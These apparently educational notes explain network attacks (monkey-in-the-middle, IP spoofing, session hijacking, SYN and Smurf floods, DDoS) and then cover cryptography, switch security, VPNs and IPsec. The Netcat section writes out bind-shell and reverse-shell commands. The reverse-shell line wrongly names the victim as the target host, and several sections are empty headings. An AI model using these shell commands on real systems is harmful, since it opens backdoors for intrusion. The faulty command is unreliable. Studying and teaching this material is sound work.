The attacker has to convince the victim that they are chase.com. The problem is that if the connection is using HTTPS, the browser expects a digital certificate from chase.com (see Digital Certificates). The attacker, not being chase.com, can only send the victim a fake certificate. The browser will notice that this is a fake certificate and warn the victim. At this point, the attack can only continue if the victim decides to continue, despite being warned of the fake certificate.

If the victim does continue, the attacker has to relay the traffic to chase.com and the responses from chase.com back to the victim, so that the victim doesn't notice anything unusual. The attacker does this by setting up an SSL proxy. The proxy establishes one SSL connection with the victim and another SSL connection with chase.com. So whatever the victim sends to the attacker, the attacker sends to chase.com, and whatever chase.com sends to the attacker, the attacker sends to the victim.

Because the attacker is sitting in the middle, this type of attack is called a monkey-in-the-middle (mitm) attack.

There are some sites that only allow HSTS (HTTP Strict Transport Security). This means that there is no option to continue if the certificate is invalid. chase.com is one of those sites.

Sniffing Defenses

IP Address Spoofing

Spoofing is helpful for attackers who don't want attacks to be traced back to them. It is also necessary for some attacks to work. The attacker can establish connections with other machines by pretending to be a machine that the other machines trust.

In this section, I'll be using Target and State Farm to refer to two machines on the same LAN. Target because that will be the attacker's target, and State Farm because they're a good neighbor.

IP Address Spoofing Flavor 1: Simple Spoofing—Simply Changing the IP Address

An attacker can change their machine to have a different IP address or they could use a tool that generates packets with a specific IP address. It's an easy way hide the source of an attack, but it doesn't allow the attacker to have interactive sessions with Target because all of Target's responses will be sent to whatever IP address was used.

In particular, this makes spoofing against TCP difficult. Suppose the attacker tries to establish a TCP connection with Target by pretending to be State Farm. The attacker starts by sending a SYN to Target with State Farm's address as the source. When Target receives the SYN, it will send an ACK to State Farm. Upon receiving the ACK, State Farm will send a RESET to Target because State Farm never initiated a connection with Target.

Although, if the attacker is on the same LAN as Target and State Farm, then the attacker can poison State Farm's ARP cache so that State Farm doesn't send a RESET to Target. Then the attacker can sniff Target's response.

IP Address Spoofing Flavor 2: Predicting TCP Sequence Numbers to Attack UNIX r-Commands

UNIX r- commands are largely obsolete by now. Some r- commands are rlogin, rsh, and rcp. These commands work on a trust relationship. If the target trusts the source, then the commands can be executed from the source without needing to provide the target's password.

To prevent State Farm from responding with a RESET, the attacker can launch a DoS attack against State Farm so that State Farm is unable to receive or send packets. So that takes care of that problem.

But there's another problem. Since Target sent the ACK to State Farm, the attacker doesn't know what Target's initial sequence number is. (In order for Target to accept the attacker's SYN-ACK, the SYN-ACK's sequence number needs to be Target's initial sequence number `+1`.)

Before initiating the attack, the attacker can try to analyze how Target's initial sequence numbers change with time by repeatedly sending SYN packets to Target. Once the attacker gets an idea of what future initial sequence numbers will probably look like, the attacker can then start the attack.

Does predicting sequence numbers sound familiar? A similar attack for Web applications involved predicting session IDs to take over a user's session.

This time, when Target receives the SYN and sends an ACK to State Farm, State Farm won't receive the ACK and, therefore, won't send the RESET to Target. This allows the attacker to send a SYN-ACK to Target with the guessed sequence number. If it's correct, Target will establish the TCP connection with the attacker, thinking it's with State Farm.

There's still one more small problem. The attacker can send commands to Target, but Target will execute these commands and send the response over to State Farm, meaning that the attacker misses out on these responses. The attacker can get around this by forcing Target to trust the attacker. For example, the attacker can add their IP address to Target's /etc/hosts.equiv file.

IP Address Spoofing Flavor 3: Spoofing with Source Routing

Source routing is a feature that allows the source machine to specify the path it wants the packets to take through the network.

Using this, the attacker can specify a source route such that the attacker is included on that route. So the route could look something like

State Farm `rarr ... rarr` attacker `rarr ... rarr` Target

Note that just because the route specifies State Farm as the starting point doesn't mean the attacker has to first send packets to State Farm. The attacker can just inject packets into the network and any routers in between the attacker and Target will assume that these packets started from State Farm.

Responses are delivered on the same route in reverse order, so when Target sends its responses back to State Farm, the attacker will pick them up. The attacker won't forward the responses back to State Farm because if they did, State Farm would send a RESET to Target, terminating the TCP connection between the attacker and Target.

IP Spoofing Defenses

Session Hijacking

The previous section assumed that State Farm did not have an active connection to Target. This section assumes that.

Network-Based Session Hijacking

Suppose State Farm has an established telnet connection to Target. Suppose the attacker is sitting somewhere on the network between State Farm and Target. Since it's telnet, the attacker can see all the traffic passing between State Farm and Target. Specifically, the attacker can monitor the TCP sequence numbers.

At any point, the attacker can decide to hijack State Farm's session by sending spoofed traffic to Target with the proper TCP sequence numbers. The traffic is spoofed with State Farm's IP address, so Target will respond, thinking it came from State Farm. And thus, the attacker has stolen the session from State Farm.

This only works with clear-text protocols, such as telnet.

Now that Target is communicating with the attacker, Target's sequence numbers will continue increasing in sync with the attacker's sequence numbers. This means that State Farm's sequence number is now out of sync with Target's sequence number. If State Farm sends something to Target, Target will respond with a higher sequence number than when they last communicated, confusing State Farm.

When a system receives a packet with a sequence number that is out of order, it resends its last ACK packet (because it thinks that the last ACK it sent got lost). So State Farm and Target will perpetually send each other ACK packets, causing an ACK storm. This back-and-forth ACK traffic consumes bandwidth, degrading network performance. One way to prevent an ACK storm is to prevent State Farm from responding with a DoS attack.

Another way to prevent an ACK storm is to poison the ARP caches of State Farm and Target. Basically,

The name makes it sound like it's a flood of ACK packets, but really, it's just a 1:1 ping-pong loop.

Another Way: Host-Based Session Hijacking

Network-based session hijacking is useful if the attacker doesn't have an account on State Farm or Target's machines. But if the attacker has root access to State Farm or Target's machines, then host-based session hijacking is possible.

With root access, the attacker can read from the machine's tty to see all the input and output (including passwords). The attacker can even inject their own input into the tty to execute commands.

A tty is a software tool used by command-line programs to capture input from the keyboard and to display output to the screen. Essentially,

user `obrace(rarr)^text(input)` terminal `obrace(rarr)^text(input)` tty `obrace(rarr)^text(input)` program

user `ubrace(larr)_text(output)` terminal `ubrace(larr)_text(output)` tty `ubrace(larr)_text(output)` program

Netcat: A General-Purpose Network Tool

Netcat is a tool for reading and writing data across a network.

It is similar to what the UNIX command cat does, where cat can read and write files. Just as cat moves bytes between stdin and stdout, Netcat (nc) moves bytes from one TCP/UDP port to another.

Netcat has a client mode and listen mode. Client mode allows Netcat to initiate a TCP/UDP connection to another machine. Listen mode (-l option) allows Netcat to open a TCP/UDP port to accept any incoming data.

If a machine doesn't have Netcat installed, the attacker can use a buffer overflow attack to install Netcat.

Netcat for File Transfer

An attacker can transfer a file using Netcat by either pushing it from client to listener or pulling it from listener back to client. Here is what pushing looks like:

And here is what pulling looks like:

Netcat for Port Scanning

Netcat can be used for port scanning, but it only does TCP Connect scans (completing the three-way handshake).

Netcat for Making Connections to Open Ports

If there are any open ports, Netcat can connect to those ports and send data through. This allows the attacker to see how the service running on that port responds to certain input.

Netcat for Vulnerability Scanning

Not as good as Nessus, but still something.

Using Netcat to Create a Passive Backdoor Command Shell

The attacker can set up a Netcat listener on the victim machine and force it to start a command shell when someone connects.

nc -l -p [port] -e /bin/sh

Then when the attacker connects to the victim machine

nc [victim_machine] [port]

the attacker has access to the command shell on the victim machine.

However, this won't work if there is a firewall that blocks inbound connections.

Using Netcat to Actively Push a Backdoor Command Shell

To bypass the firewall, the attacker forces the victim to connect to the attacker's machine instead. First the attacker creates a listener on their machine:

nc -l -p [port]

Then the attacker runs Netcat in the victim machine to push a command shell out to the attacker:

nc [victim_machine] [port] -e /bin/sh

Pushing a shell via an outbound connection is called a reverse shell.

Relaying Traffic with Netcat

To make it harder for investigators to trace the attack back to the attacker, the attacker can set up relays. Basically, the attacker sets up many machines between them and the victim so that the relays relay the traffic. The result is chain of Netcat clients and listeners.

Additionally, if the attacker controls a machine in the DMZ, they can relay the traffic around a firewall through the DMZ.

Netcat Defenses

Tools

Phase 3: Denial-of-Service Attacks

Sometimes, attackers aren't necessarily looking to gain access; sometimes, they just want to bring systems down.

DoS attacks generally fall into two categories: stopping a service and resource exhaustion. These could be done locally (the attacker has access to the machine they are targeting) or remotely (the attacker attacks the target machine from their own machine).

Locally Stopping Services

An attacker can simply kill processes on the machine if they have admin access. If not, they can try to crash processes by exploiting vulnerabilities (for example, by inputting large amounts of random data into the application).

If they have admin access, they can also change the settings on the machine so that a service is unusable for regular users. For example, an attacker could stop file sharing on a file server to prevent remote users from accessing the files.

A logic bomb is a program planted by an attacker to stop or crash a local process after a certain condition is triggered (e.g., elapsed time, activation of other programs).

Defenses from Locally Stopping Services

Locally Exhausting Resources

An attacker can write a program that eats up system resources. For example, an attacker can fill up the system's process table with a fork bomb. A fork bomb is a program that runs copies of itself; and those copies run copies of themselves, and so on. Eventually, the process table is full and new processes can't be started (or the machine itself will crash).

An attacker can also fill up the file system by creating extremely large files to fill up the disk space or by creating a huge number of files.

File systems keep track of a file's metadata (e.g., name, size, location) using indexes ("inodes" in Linux). So even if the huge number of files are all empty, the file system's indexes can be exhausted.

An attacker can also write a program to send network traffic, consuming the processor and link bandwidth and preventing users from sending traffic or receiving responses.

Defenses from Locally Exhausting Resources

Remotely Stopping Services

Local attacks are simple, but it's generally hard to gain access to the machine. It's much easier to send packets to it. Malformed packets in particular. The basic idea is to send packets with an unexpected structure, so that the receiving application doesn't know how to respond.

Another way to stop a service remotely is to prevent it from communicating across the network. For example, an attacker can poison the router's ARP cache to remap the target's IP address to a nonexistent MAC address. That way, all packets going to the target will never make it there, preventing the target from responding.

An attacker can also interrupt an ongoing session between two systems by sending a spoofed RESET to terminate the connection. This one's a bit tricker because the attacker would need to know the source and destination IP addresses and ports as well as the sequence number.

The attacker doesn't need to know the exact sequence number; they just need to guess a sequence number that fits within the system's current TCP window size. So they can keep on sending packets, increasing the sequence number until it lands within the window size. This attack is TCP RESET spoofing.

Defenses from Remotely Stopping Services

Remotely Exhausting Resources

This is the most popular technique. It involves the attacker sending a flood of packets to consume all the target's available network capacity.

SYN Flood

In a SYN flood attack, the attacker sends a bunch of SYNs to force the target to maintain half-open connections. By exhausting all of the target's available slots, the target can't accept any new connections from legitimate users.

To make sure the target's connection queue gets filled, the attacker needs to use spoofed source addresses that are unresponsive. If the source addresses are responsive, they will send a RESET and tear down the connection, freeing up a slot in the queue.

If the target happens to have a very large queue, the attacker can instead focus on consuming the target's network bandwidth by continuously sending SYN packets.

This time, the attacker wants to use a spoofed IP address that is responsive because it will send a RESET. With only one packet, the attacker can force three packets (the SYN itself, the SYN-ACK, and the RESET) to be sent.

SYN Flood Defenses

I go over SYN cookies in more detail in the networking resource. But basically, SYN cookies hash the source and destination IP addresses and ports and encode them in the sequence number. That way the system can verify legitimate connections through the ACK's sequence number, thus removing the need to maintain a connection queue.

Smurf Attacks

Recall that when a packet gets sent to a network's broadcast IP address, every system on the LAN receives that packet. If the attacker sends an ICMP Echo Request (a ping) to a network's broadcast IP address, then every system on the LAN receives that ping. More importantly, all those systems will send back an ICMP Echo Response. Now, the attacker doesn't want to get flooded with all those responses, so the attacker spoofs the source IP address of the ping using the target's IP address. That way, all the responses flood the target.

A Smurf attack is also known as a broadcast attack.

The network that floods the target with responses is called the Smurf amplifier. A Smurf amplifier is usually just a misconfigured network in the wild.

Nmap was one tool available for finding Smurf amplifiers. There also used to be online lists of known Smurf amplifiers.

Smurf Attack Defenses

Distributed Denial-of-Service Attacks

A SYN flood can be executed from one machine. A Smurf attack involves multiple machines, depending on how many machines are in the Smurf amplifier network. But a DDoS attack involves as many machines as the attacker can take over. So there's no limit on the number of machines that can be used to launch a DDoS attack.

DDoS Architecture

The machines that the attacker takes over are called zombies. The attacker installs zombie software on them so that the attacker can control them remotely.

TFN2K: A Powerful DDoS Tool

Tribe Flood Network 2000 was a tool that could carry out DDoS attacks. It supported UDP floods, SYN floods, ICMP floods, Smurf attacks, and a mix of all of those.

TFN2K used ICMP Echo Replies to communicate with the zombies. This was clever for two reasons. The first was that ICMP Echo Replies are typically allowed into a network, because network admins usually let users ping the outside world. The second was that there is no port number associated with ICMP, so the zombie software didn't have to open a port to receive the ICMP Echo Replies. This prevented it from being detected by port scans.

TFN2K also allowed spoofing. Combined with Netcat relays, this made it very difficult to find the attacker.

Obscuring the Source with Reflected DDoS Attacks

Instead of sending packets directly to the target, the zombies can be configured to send spoofed SYN packets to high-bandwidth servers (like Web sites belonging to big companies). Those servers will then send the SYN-ACKS to the target.

Pulsing Zombies: What a Headache

IP address spoofing makes it hard to trace the attack. But tracing back zombies is much easier if they are actively sending traffic. So attackers developed a technique called pulsing zombies, where the zombies alternate from flooding the target to being dormant.

From SYN Floods to HTTP Floods

If you suddenly receive a barrage of SYN packets with no ACKs, it's very easy for you to recognize that it's a SYN attack. However, if you receive a barrage of HTTP/HTTPS requests, it's difficult for you to know whether that traffic is from real users or from an attack. This is why attackers have moved to HTTP floods.

The problem (for attackers) with HTTP flood attacks is that attackers can't use IP address spoofing. This is because an HTTP connection requires the three-way TCP handshake to complete. If the attacker uses a spoofed address, the SYN-ACK will go to that spoofed address, which will not send the ACK.

If the attacker really wanted to use spoofed addresses, they would have to guess the sequence number of all the SYN-ACKs. Which is infeasible.

So attackers conducting HTTP floods accept the risk that it is easier for attacks to be traced back to them.

Distributed Denial-of-Service Defenses

Tools

Appendix

A1) Cryptography

Cryptography is how information is kept secret. It aims to provide the following:

Symmetric Cryptography

In symmetric cryptography, the same key is used to encrypt and decrypt information. It's good for encrypting lots of data because it is very fast. But there are issues with using the same key to encrypt + decrypt, and there is no nonrepudiation.

Key Management Issues

Suppose you're sending an encrypted message to me. In order for me to decrypt the message, I would need the key. So you would need to send the key to me, but an attacker can intercept it.

Okay, so let's say both of us have already have the key so you don't need to send it to me. What happens if we need to send information to another user? ☝️

What happens if we need to change keys? ☝️

No Nonrepudiation

Suppose I receive an encrypted message saying that you'll pay me $1000. The problem for you is that you never sent that message to me. Since we both have the same key, I encrypted that message and sent it to myself, making it look like it was from you.

Asymmetric, or Public Key, Cryptography

Asymmetric cryptography provides key management benefits and nonrepudiation by using a public key and private key system. Each person gets a pair of keys uniquely assigned to them. Either key can be used to encrypt information, but only the other key can be used to decrypt. That is, if the public key is used to encrypt, only the private key can be used to decrypt. And if the private key is used to encrypt, only the public key can be used to decrypt. As their names imply, the public key is visible to the public while the private key is meant to be used only by the owner.

Suppose you want to send a secret message to me. You'll do that by finding my public key and using it to encrypt your message. Then I'll use my private key to decrypt the message. There was no need for you to send a key, and even if an attacker intercepted the message, they won't be able to decrypt it without the private key, which only I own.

Digital Signatures

But how do I know the message came from you? You can include your digital signature by using your private key to generate it. Then I can use your public key to verify your signature.

A hash function is an algorithm that transforms an input into a hash value. When using a one-way hash function, it's not possible to derive the original message from the hash value.

Hashing is used to create and verify digital signatures.

To generate a digital signature:

  1. Use a hash function on the message to generate a hash value
  2. Use private key to encrypt hash value
    • this is the digital signature

To verify a digital signature:

  1. Use public key to decrypt the hash value
  2. Use the same hash function on the message to generate a hash value
  3. If the two hash values are the same, then the message came from you and was unchanged

Digital Certificates

What if you never sent a message to me, but I received a message with a digital signature claiming to be yours? In this scenario, suppose an attacker is pretending to be you and puts a public key (the attacker's, not yours) online, advertising that it is "your" public key. Then the attacker uses their private key to create the digital signature and sends it to me. When I use "your" (the attacker's) public key, the signature will verify correctly, and I'll believe the message is yours.

Digital certificates prevent this situation from happening.

You can register your key pair with a certificate authority (CA). The CA issues you a digital certificate with your public key on it and signs it using the CA's private key. Now, if I want to check that an advertised public key is actually yours, I can use the CA's public key on the digital certificate to see your registered public key and compare what's advertised with what's on the certificate.

A2) Link Layer Security

Port Security

A router/switch's port can be configured to only allow certain MAC addresses to connect to the LAN. This mechanism is called port security.

MAC Address Floods and Port Security

This was described in the networking resource as switch poisoning.

A CAM (Content Addressable Memory) table is a table in a switch that stores MAC addresses. Specifically, they store mappings from MAC addresses to ports.

Recall that when a switch receives a frame and the destination MAC address isn't in its switch table, the switch broadcasts the frame to everyone. An attacker takes advantage of this by sending a bunch of frames with fake source MAC addresses to a switch, filling up its CAM table. So when a legitimate frame arrives at the switch, the frame's destination MAC address won't exist in the CAM table and the switch will broadcast (flood) the frame to everyone.

This has two effects. The first is that network traffic increases due to flooding, and this can result in a denial of service (DoS). The second is that the attacker can receive the flooded frames.

Restricting the Number of MAC Addresses a Switch Learns on a Port

Console> (enable) set port security 3/2 maximum 20

This command configures port 2 on module 3 to have a maximum of 20 MAC addresses associated with it.

(A module is a group of ports.)

Limiting the number of addresses that a switch can learn on a port prevents the switch's CAM table from filling up. Note that the CAM table can still learn entries from other ports, so legitimate traffic continues normally.

IP Permit Lists

A switch's IP permit list is a list of IP addresses that are allowed to send traffic to the switch. The type of traffic (e.g. Telnet, SSH, HTTP, SNMP) can also be specified.

Console> (enable) set ip permit enable
Console> (enable) set ip permit 172.16.0.0 255.255.0.0 telnet
Console> (enable) set ip permit 172.20.52.2 255.255.255.255 snmp
Console> (enable) set ip permit 172.20.52.3 all

Protocol Filtering and Controlling LAN Floods

Broadcast floods can be controlled.

One way is with threshold limits can be set for broadcast traffic. For example, a rule can specify that, at any second, if more than 75% of the traffic consists of broadcast traffic, then all additional broadcast traffic will be dropped for that one-second period.

Another way is to use protocol filtering to allow only certain protocols to send broadcasts. A protocol group can be defined to have certain protocols and ports associated with that group. Then, broadcast messages from only those protocols will be sent to only those ports.

Private VLANs

A normal VLAN allows all devices connected to the switch to communicate with each other. This means that if a device is compromised, other devices on the same VLAN can be attacked from the compromised device.

A private VLAN divides the ports into groups to restrict communication between devices. There are three types of private VLAN ports:

Hosts on isolated ports cannot receive traffic directly from other hosts. All communication is done through the promiscuous port.

ARP Spoofing, Sticky ARP, and Private VLANs

A gratuitous ARP is a message that a device sends to let other machines know its IP address and MAC address. An attacker who has gained access to a compromised device on the LAN can force the machine to send out gratuitous ARPs with addresses that don't belong to the compromised machine. For example, the attacker can spoof the IP address of the network's default gateway in the gratuitous ARPs. This allows the attacker to analyze and/or drop all traffic in the LAN.

Private VLANs protect from this type of attack by providing isolation between the ports on the VLAN.

A sticky ARP also helps against this type of attack. The sticky ARP feature makes sure that ARP entries learned by the switch cannot be changed. So if an attacker takes over a device and tries to send out gratuitous ARPs with different addresses, the switch won't acknowledge those gratuitous ARPs (because the switch already learned the compromised device's address before it was compromised).

Port Authentication and Access Control Using the IEEE 802.1x Standard

802.1x is the standard that defines how authentication should work for devices connecting to LANs.

802.1x Entities

802.1x Communications

All three entities communicate using the Extensible Authentication Protocol (EAP).

EAP

There are four types of EAP messages:

These four types can be further classified into different types, such as:

The identity request message is sent by the authenticator to ask the supplicant for its identity information (such as username). The NAK response message is sent by the supplicant to the authenticator if the authentication mechanism offered by the authenticator is unacceptable to the supplicant.

Using EAP as the Underlying Communications Mechanism in 802.1x

These are the steps for what happens when a supplicant tries to connect to a port:

  1. The authenticator sends the first EAP-Request identity message to the supplicant to ask for the supplicant's identity.
  2. The supplicant returns an EAP-Response message containing its identity, such as its username.
  3. The authenticator sends this message to the authentication server.
  4. The authentication server sends the supplicant an EAP message corresponding to the type of authentication it wants to do.
  5. The supplicant responds with
    • an EAP-Response containing the data the server asked for
    • or an EAP-NAK if the supplicant does not support the requested authentication method
      • the EAP-NAK contains the supplicant's desired authentication mechanism type
  6. EAP messages are sent back and forth until the authentication server sends either an EAP-Success or EAP-Failure message to the supplicant.
  7. If the authenticator sees that the server sent an EAP-Success, it opens the port that the supplicant has been using for normal data activity.
EAPOL and RADIUS

EAPOL stands for EAP Over LANs. It defines how EAP messages are formatted. Similar to how TCP segments are encapsulated with TCP headers and IP datagrams are encapsulated with IP headers, EAP messages are encapsulated with EAPOL headers.

EAPOL is used for communication between the supplicant and the authenticator. RADIUS is used for communication between the authenticator and the authentication server.

802.1x Functionality

  1. The supplicant encapsulates its EAP message in an EAPOL frame and sends it to the authenticator.
  2. The authenticator decapsulates the EAP message, repackages it in a RADIUS packet, and sends it to the authentication server.
  3. The authentication server sends back a RADIUS packet to the authenticator.
  4. The authenticator strips off the RADIUS header, encapsulates the EAP message in an EAPOL frame, and sends it to the supplicant.

Network Address Translation

Private IP addresses are also called RFC 1918 addresses.

NAT is the mechanism that changes a packet's IP address to something other than what they originally were. It was primarily a way to reduce IP address consumption, but since it can hide a network's IP address, it also offers some security.

In normal NAT, each RFC 1918 address is converted to its own unique routable IP address. There is also Overload NAT, a.k.a. Port Address Translation (PAT), where all RFC 1918 addresses are translated to one routable IP address.

Security Benefits of Network Address Translation

The router that does NAT/PAT has a NAT table that keeps track of the translations. The NAT table only gets populated if a device sends something out to the Internet.

Here's where the security of PAT comes in. If some random messages destined for the routable IP address arrived at the router without anyone asking for them, the router would drop those messages because it would not know which device to send them to (there would be no entries in its NAT table because no one asked for those messages).

Disadvantages of Relying on NAT for Security

Since NAT only looks at the port number and nothing else, NAT is not that secure. Basically, NAT is not secure because it doesn't do what stateful or proxy-based firewalls do.

A3) VPNs

A VPN is simply a connection between two devices or networks that have a public network between them. They're typically used to carry traffic privately over the Internet, so a VPN can be thought of as a tunnel between two devices/networks.

Encrypted VPNs

Most people are familiar with a VPN as a way to have their traffic encrypted (looking at you, NordVPN).

Nonencrypted VPNs

But not all VPNs encrypt traffic. After all, the primary purpose of a VPN is to allow for communication between two devices or networks.

Intranet VPNs

Intranet VPNs connect private networks belonging to the same organization. For example, a remote office connected to headquarters.

Extranet VPNs

Extranet VPNs connect private networks belonging to different organizations.

A4) IPsec

IPsec stands for IP Security. It is a suite of protocols used to create VPNs.

Types of IPsec VPNs

LAN-to-LAN IPsec Implementations

An IPsec tunnel that connects two LANs is referred to as... wait for it... a LAN-to-LAN VPN. These are used when users in one private network need to communicate with resources in different private network.

They're also called site-to-site VPNs.

Remote-Access Client IPsec Implementations

This is used to connect an individual user to a private network.

Composition of IPsec

IPsec consists of three main protocols:

Broadly speaking, IKE is used to establish the rules for how the tunnel will be built and ESP applies those rules to the traffic.

Much of AH's functionality is embedded in ESP, so IKE and ESP are the ones that are mostly deployed together.

Introduction to IKE

This section goes over IKEv1. However, IKEv2 is the current implementation of the key-exchange protocol for IPsec VPNs.

IKE is responsible for

IKE is a two-phase protocol. It first operates in main mode (or aggressive mode), then it switches to quick mode.

Roughly speaking, quick mode is used to establish the rules for how the tunnel will be built while main mode is used to establish the rules for how to protect the negotiations in quick mode.

Here's an analogy for main mode vs quick mode. Imagine that two business people want to discuss a private deal, but they don't want to discuss it out in public where they can be overheard. So they first establish a secure way to communicate (main mode) and then use that protected communication to talk about the deal (quick mode).

A Security Association (SA) is an agreement between two VPN endpoints that defines the security rules and parameters. For example, an SA contains information on what encryption algorithm and what integrity algorithm to use and the keys needed for those algorithms.

Main mode establishes the IKE SA (how IKE communication will be protected) and quick mode establishes the IPsec SA (how VPN traffic will be protected).

IPsec Negotiation Using the IKE Protocol

Six messages are exchanged in main mode between two IPsec peers, and three messages are exchanged in quick mode. One peer is an initiator and the other peer is the responder.

Main Mode Using Preshared Key Authentication Followed by Quick Mode Negotiation

In preshared key authentication, each peer is configured with a pair of preshared keys (each key is the same for each peer). These keys are used by the peers to authenticate each other at the end of main mode.

IKE Phase 1 (Main Mode): Preparation for Sending Messages 1 and 2

The first two messages of main mode are for deciding the encryption mechanism, hashing mechanism, authentication mechanism, and Diffie-Hellman exchange mechanism (more on this in a bit) for the IKE SA.

Before any messages can be sent, each peer must calculate cookies, which are used as unique identifiers for each peer.

The cookie is a pseudo-random number based on the source and destination IP address.

`C=md5(text(source IP), text(destination IP), text(random number), text(time), text(date))`

IKE Phase 1 (Main Mode): Sending Message 1

The initiator sends the first message, which has a proposal payload and a transform payload. The transform payload is a set of transforms, where a transform contains the parameters that the initiator wants to use. For example:

The proposal payload contains the number of transforms there are in this message.

The initiator's cookie is also included in the first message.

IKE Phase 1 (Main Mode): Sending Message 2

The responder picks the transform it agrees to use and sends that in the second message. The responder's cookie is also included in the second message.

IKE Phase 1 (Main Mode): Preparation for Sending Messages 3 and 4

This is where the Diffie-Hellman stuff comes in.

Diffie-Hellman Algorithm

A Diffie-Hellman group contains a pair of numbers `p` and `g`. `p` is a large prime number and `g` is called a generator. These numbers are publicly known and standardized, so when the initiator says it wants to use Diffie-Hellman group 1, the responder knows what values of `p` and `g` to use.

The initiator has a private secret number, call it `a`, and performs the following operations to get `X_a`:

`X_a=g^a mod p`

`X_a` is the initiator's DH public value.

The responder calculates its DH public value by doing the same thing with its private secret, call it `b`.

`X_b=g^b mod p`

The initiator will send `X_a` to the responder, and the responder will send `X_b` to the initiator. With these values, they can both generate the same secret number. The initiator will take the responder's `X_b` and perform

`(X_b)^a mod p`

The responder will take the initiator's `X_a` and perform

`(X_a)^b mod p`

And they will both be the same number. This is because

`(X_a)^b mod p = (g^a mod p)^b mod p = (g^a)^b mod p = g^(ab) mod p`

and

`(X_b)^a mod p = (g^b mod p)^a mod p = (g^b)^a mod p = g^(ab) mod p`

The beauty of this is that the responder and initiator can generate a shared secret key without having to send over their own secret numbers.

The responder and initiator also each generate a nonce ("number used once"), which, in this case, is a very large random number.

IKE Phase 1 (Main Mode): Sending Message 3

The initiator sends the third message, which contains a key exchange (KE) payload and a nonce payload. The KE payload has the initiator's DH public value, and the nonce payload has the initiator's nonce.

IKE Phase 1 (Main Mode): Sending Message 4

The responder sends its own DH public value and nonce in the fourth message.

IKE Phase 1 (Main Mode): Preparation for Sending Messages 5 and 6

After receiving each other's DH public values, the initiator and the receiver both calculate the DH shared secret in order to generate three more keys. These keys are called session keys (SKEYS).

Let `N_i,N_r` be the nonces of the initiator and responder respectively. Let `C_i,C_r` be the cookies of the initiator and responder respectively. Let `prf` be a pseudo-random function (based on the negotiated hashing mechanism from message 2). Let `g^(ab)` be the DH shared secret.

`text(SKEYID) = prf(text(preshared key), N_i, N_r)`

`text(SKEYID_d) = prf(text(SKEYID), g^(ab), C_i, C_r, 0)`

`text(SKEYID_a) = prf(text(SKEYID), text(SKEYID_d), g^(ab), C_i, C_r, 1)`

`text(SKEYID_e) = prf(text(SKEYID), text(SKEYID_a), g^(ab), C_i, C_r, 2)`

IKE Phase 1 (Main Mode): Sending Message 5

The initiator sends the fifth message, which contains an identity payload and a hash payload. The identity payload contains the initiator's IP address, and the hash payload contains a hash, which acts as a digital signature for authentication. The two payloads are encrypted using SKEYID_e.

`text(hash_i)=prf(text(SKEYID),C_i,C_r,text(preshared key),text(message),text(ID_i))`

IKE Phase 1 (Main Mode): Sending Message 6

The responder sends its own identity payload and hash payload in the sixth message.

Completion of IKE Phase 1 (Main Mode) Using Preshared Keys

The initiator and responder authenticate each other by recalculating the hash and comparing it to the one they received in the hash payload. If they're the same, then they have successfully authenticated.

At this point, the IKE SA is established and main mode is done.

IKE Phase 2 (Quick Mode): Preparation for Sending Messages 1 and 2

The first two messages of quick mode are for deciding the parameters of the IPsec SA (just like how the first two messages of main mode were for deciding the parameters of the IKE SA).

PFS

PFS stands for Perfect Forward Secrecy. It means generating a new DH secret for the keying material of the IPsec SA. The idea is to protect VPN traffic in case the original DH secret were to get compromised.

Let's see what happens if PFS isn't used. Suppose an attacker finds a way to record VPN traffic. And then suppose the attacker somehow discovers the DH secret. The attacker can now decrypt the VPN traffic that they recorded.

IKE Phase 2 (Quick Mode): Sending Message 1

The initiator sends the first message, which has a proposal payload and a transform payload, just like in main mode. Some of the parameters are different though. For example:

The first message also includes the initiator's choice on whether PFS should be used.

IKE Phase 2 (Quick Mode): Sending Message 2

The responder picks the transform it agrees to use and sends that in the second message.

IKE Phase 2 (Quick Mode): Preparation for Sending Message 3

If PFS was agreed to, then the initiator and the responder generate a new DH secret and session keys. Technically, the VPN tunnel is operational at this point.

IKE Phase 2 (Quick Mode): Sending Message 3

The third message is sent by the initiator to verify the liveness of the responder. And that concludes quick mode.

In quick mode, the responder sends only one message. So it needs to know whether the initiator got it.

In addition, the third message also proves to the responder that the initiator is a valid peer, and not an attacker replaying the first quick mode message. Not having the third message is like an attacker sending SYN packets to leave a bunch of half-open TCP connections running (SYN flooding).

Encryption and Integrity-Checking Mechanisms in IPsec

If ESP was set up as the encapsulation mechanism, then encryption will happen. Both ESP and AH include integrity checking hashes.

Encryption

This section goes over DES, which is an insecure encryption mechanism. It was replaced by AES (Advanced Encryption Standard).

DES (Data Encryption Standard) is a symmetric key algorithm. Recall that symmetric means that the same key is used to encrypt and decrypt data.

It uses what is called Cipher Block Chaining (CBC), which works by encrypting the data in blocks of 64 bits.

Each block of data is XORed with the previous encrypted block. Then the result of that is encrypted.

The first 64 bits of data don't have a previous encrypted block to XOR with, so it's XORed with an initialization vector (IV), which is just a random string of bits.

Integrity Checking

HMAC (Message Authentication Codes using Hashing) uses hashing for authentication. Hashing (as opposed to encryption) is a nonreversible function, meaning that it is (nearly) impossible to retrieve the input from the output.

ESP and AH calculate a hash on the packet and includes that hash in the packet. When the receiver gets the packet, it calculates the hash on the packet and checks to see if its own calculation matches the hash that was sent in the packet. If they match, the message is authenticated.

Packet Encapsulation in IPsec

Packet encapsulation is the process of encrypting the data and generating the hashes. It's handled by ESP or AH or both.

Tunnel Mode

In tunnel mode, the IP header uses the IP addresses of the VPN endpoints as the source and destination. Tunnel mode is the most used mode in IPsec deployments.

Transport Mode

In transport mode, the IP header uses the IP addresses of the actual devices as the source and destination.

ESP (Encapsulating Security Payload)

ESP is the protocol that defines how to encapsulate the IP packet and how to encrypt and authenticate the data. ESP uses DES for encryption, and the keys for encryption were generated in IKE's quick mode.

AH (Authentication Header)

AH is the protocol that authenticates the data. The difference between ESP and AH is that AH only provides authentication. So all it ensures is that the hash is included in the packet.

IPsec Dead Peer Discovery Mechanism

When a peer wants to disconnect, it normally sends a delete notification to the other peer. However, there are times when the peer can be disconnected because it crashed or because of network issues. For cases like these, there is a dead peer discovery mechanism that detects when a peer is no longer alive.

If peer A has data to send to peer B and it hasn't received any data from peer B in a long time, it first sends a notify payload to peer B. If peer B is alive, it sends back its own notify payload. Then peer A sends the data to peer B.

The time is configured as a "worry metric".

A5) Network Access Control

AAA

AAA stands for authentication, authorization, and accounting. It's an architecture that defines how security devices (e.g., routers) allow users to connect to the device/network.

Definitions of AAA Components

AAA is configured on the router that users need to connect to. Either the router can do all of the AAA functions or it can pass off the work to a dedicated AAA server.

Nomenclature

